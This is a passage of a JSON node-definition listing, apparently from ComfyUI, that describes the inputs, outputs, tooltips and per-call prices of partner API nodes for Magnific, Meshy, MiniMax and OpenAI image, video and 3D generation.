true}]}}}]}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Optional reference image to transfer lighting from."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "light_transfer_strength", "style", "interpolate_from_original", "change_background", "preserve_details", "advanced_settings"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageRelightNode", "display_name": "Magnific Image Relight", "description": "Relight an image with lighting adjustments and optional reference-based light transfer.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageSkinEnhancerNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The portrait image to enhance."}], "sharpen": ["INT", {"tooltip": "Sharpening intensity level.", "default": 0, "min": 0, "max": 100, "display": "slider"}], "smart_grain": ["INT", {"tooltip": "Smart grain intensity level.", "default": 2, "min": 0, "max": 100, "display": "slider"}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Processing mode: creative for artistic enhancement, faithful for preserving original appearance, flexible for targeted optimization.", "options": [{"key": "creative", "inputs": {"required": {}}}, {"key": "faithful", "inputs": {"required": {"skin_detail": ["INT", {"tooltip": "Skin detail enhancement level.", "default": 80, "min": 0, "max": 100, "display": "slider"}]}}}, {"key": "flexible", "inputs": {"required": {"optimized_for": ["COMBO", {"tooltip": "Enhancement optimization target.", "multiselect": false, "options": ["enhance_skin", "improve_lighting", "enhance_everything", "transform_to_real", "no_make_up"]}]}}}]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "sharpen", "smart_grain", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageSkinEnhancerNode", "display_name": "Magnific Image Skin Enhancer", "description": "Skin enhancement for portraits with multiple processing modes.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rates := {\"creative\": 0.29, \"faithful\": 0.37, \"flexible\": 0.45};\n {\"type\":\"usd\",\"usd\": $lookup($rates, widgets.mode)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyTextToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "style": ["COMBO", {"multiselect": false, "options": ["realistic", "sculpture"]}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"advanced": true, "multiselect": false, "options": ["auto", "on", "off"]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "prompt", "style", "should_remesh", "symmetry_mode", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyTextToModelNode", "display_name": "Meshy: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.8}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyRefineNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "meshy_task_id": ["MESHY_TASK_ID", {}], "enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color. Note: this should be set to false when using Sculpture style, as Sculpture style generates its own set of PBR maps.", "advanced": true, "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "meshy_task_id", "enable_pbr", "texture_prompt"], "optional": ["texture_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyRefineNode", "display_name": "Meshy: Refine Draft Model", "description": "Refine a previously created draft model.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyImageToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "image": ["IMAGE", {}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"multiselect": false, "options": ["auto", "on", "off"]}], "should_texture": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Determines whether textures are generated. Setting it to false skips the texture phase and returns a mesh without textures.", "options": [{"key": "true", "inputs": {"required": {"enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color.", "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "image", "should_remesh", "symmetry_mode", "should_texture", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyImageToModelNode", "display_name": "Meshy: Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "should_texture", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"true\": 1.2, \"false\": 0.8};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.should_texture)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyMultiImageToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 2, "max": 4}}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"advanced": true, "multiselect": false, "options": ["auto", "on", "off"]}], "should_texture": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Determines whether textures are generated. Setting it to false skips the texture phase and returns a mesh without textures.", "options": [{"key": "true", "inputs": {"required": {"enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color.", "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "images", "should_remesh", "symmetry_mode", "should_texture", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyMultiImageToModelNode", "display_name": "Meshy: Multi-Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "should_texture", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"true\": 0.6, \"false\": 0.2};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.should_texture)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyRigModelNode": {"input": {"required": {"meshy_task_id": ["MESHY_TASK_ID", {}], "height_meters": ["FLOAT", {"tooltip": "The approximate height of the character model in meters. This aids in scaling and rigging accuracy.", "default": 1.7, "min": 0.1, "max": 15.0}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "The model's UV-unwrapped base color texture image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["meshy_task_id", "height_meters"], "optional": ["texture_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_RIGGED_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "rig_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyRigModelNode", "display_name": "Meshy: Rig Model", "description": "Provides a rigged character in standard formats. Auto-rigging is currently not suitable for untextured meshes, non-humanoid assets, or humanoid assets with unclear limb and body structure.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyAnimateModelNode": {"input": {"required": {"rig_task_id": ["MESHY_RIGGED_TASK_ID", {}], "action_id": ["INT", {"tooltip": "Visit https://docs.meshy.ai/en/api/animation-library for a list of available values.", "default": 0, "min": 0, "max": 696}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["rig_task_id", "action_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false], "output_name": ["model_file", "GLB", "FBX"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "MeshyAnimateModelNode", "display_name": "Meshy: Animate Model", "description": "Apply a specific animation action to a previously rigged character.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.12}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyTextureNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "meshy_task_id": ["MESHY_TASK_ID", {}], "enable_original_uv": ["BOOLEAN", {"tooltip": "Use the original UV of the model instead of generating new UVs. When enabled, Meshy preserves existing textures from the uploaded model. If the model has no original UV, the quality of the output might not be as good.", "advanced": true, "default": true}], "pbr": ["BOOLEAN", {"advanced": true, "default": false}], "text_style_prompt": ["STRING", {"tooltip": "Describe your desired texture style of the object using text. Maximum 600 characters.Maximum 600 characters. Cannot be used at the same time as 'image_style'.", "default": "", "multiline": true}]}, "optional": {"image_style": ["IMAGE", {"tooltip": "A 2d image to guide the texturing process. Can not be used at the same time with 'text_style_prompt'."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "meshy_task_id", "enable_original_uv", "pbr", "text_style_prompt"], "optional": ["image_style"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyTextureNode", "display_name": "Meshy: Texture Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxTextToVideoNode": {"input": {"required": {"prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "Model to use for video generation", "default": "T2V-01", "multiselect": false, "options": ["T2V-01", "T2V-01-Director"]}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt_text", "model"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxTextToVideoNode", "display_name": "MiniMax Text to Video", "description": "Generates videos synchronously based on a prompt, and optional parameters.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.43}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxImageToVideoNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to use as first frame of video generation"}], "prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "Model to use for video generation", "default": "I2V-01", "multiselect": false, "options": ["I2V-01-Director", "I2V-01", "I2V-01-live"]}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt_text", "model"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxImageToVideoNode", "display_name": "MiniMax Image to Video", "description": "Generates videos synchronously based on an image and prompt, and optional parameters.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.43}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxHailuoVideoNode": {"input": {"required": {"prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation.", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}], "first_frame_image": ["IMAGE", {"tooltip": "Optional image to use as the first frame to generate a video."}], "prompt_optimizer": ["BOOLEAN", {"tooltip": "Optimize prompt to improve generation quality when needed.", "default": true}], "duration": ["COMBO", {"tooltip": "The length of the output video in seconds.", "default": 6, "multiselect": false, "options": [6, 10]}], "resolution": ["COMBO", {"tooltip": "The dimensions of the video display. 1080p is 1920x1080, 768p is 1366x768.", "default": "768P", "multiselect": false, "options": ["768P", "1080P"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt_text"], "optional": ["seed", "first_frame_image", "prompt_optimizer", "duration", "resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxHailuoVideoNode", "display_name": "MiniMax Hailuo Video", "description": "Generates videos from prompt, with optional start frame using the new MiniMax Hailuo-02 model.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"768p\": {\"6\": 0.28, \"10\": 0.56},\n \"1080p\": {\"6\": 0.49}\n };\n $resPrices := $lookup($prices, $lowercase(widgets.resolution));\n $price := $lookup($resPrices, $string(widgets.duration));\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.43}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIDalle2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for DALL\u00b7E", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "size": ["COMBO", {"tooltip": "Image size", "default": "1024x1024", "multiselect": false, "options": ["256x256", "512x512", "1024x1024"]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "size", "n", "image", "mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIDalle2", "display_name": "OpenAI DALL\u00b7E 2", "description": "Generates images synchronously via OpenAI's DALL\u00b7E 2 endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $size := widgets.size;\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n\n $base :=\n $contains($size, \"256x256\") ? 0.016 :\n $contains($size, \"512x512\") ? 0.018 :\n 0.02;\n\n {\"type\":\"usd\",\"usd\": $round($base * $n, 3)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIDalle3": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for DALL\u00b7E", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "quality": ["COMBO", {"tooltip": "Image quality", "default": "standard", "multiselect": false, "options": ["standard", "hd"]}], "style": ["COMBO", {"tooltip": "Vivid causes the model to lean towards generating hyper-real and dramatic images. Natural causes the model to produce more natural, less hyper-real looking images.", "default": "natural", "multiselect": false, "options": ["natural", "vivid"]}], "size": ["COMBO", {"tooltip": "Image size", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1024x1792", "1792x1024"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "quality", "style", "size"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIDalle3", "display_name": "OpenAI DALL\u00b7E 3", "description": "Generates images synchronously via OpenAI's DALL\u00b7E 3 endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $size := widgets.size;\n $q := widgets.quality;\n $hd := $contains($q, \"hd\");\n\n $price :=\n $contains($size, \"1024x1024\")\n ? ($hd ? 0.08 : 0.04)\n : (($contains($size, \"1792x1024\") or $contains($size, \"1024x1792\"))\n ? ($hd ? 0.12 : 0.08)\n : 0.04);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIGPTImage1": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for GPT Image", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "background": ["COMBO", {"tooltip": "Return image with or without background", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "size": ["COMBO", {"tooltip": "Image size. Select 'Custom' to use the custom width and height (GPT Image 2 only).", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024", "2048x2048", "2048x1152", "1152x2048", "3840x2160", "2160x3840", "Custom"]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}], "model": ["COMBO", {"default": "gpt-image-2", "multiselect": false, "options": ["gpt-image-1", "gpt-image-1.5", "gpt-image-2"]}], "custom_width": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16 (GPT Image 2 only).", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "custom_height": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16 (GPT Image 2 only).", "default": 1024, "min": 1024, "max": 3840, "step": 16}]}, "hidden": {"auth_token_comfy_org": 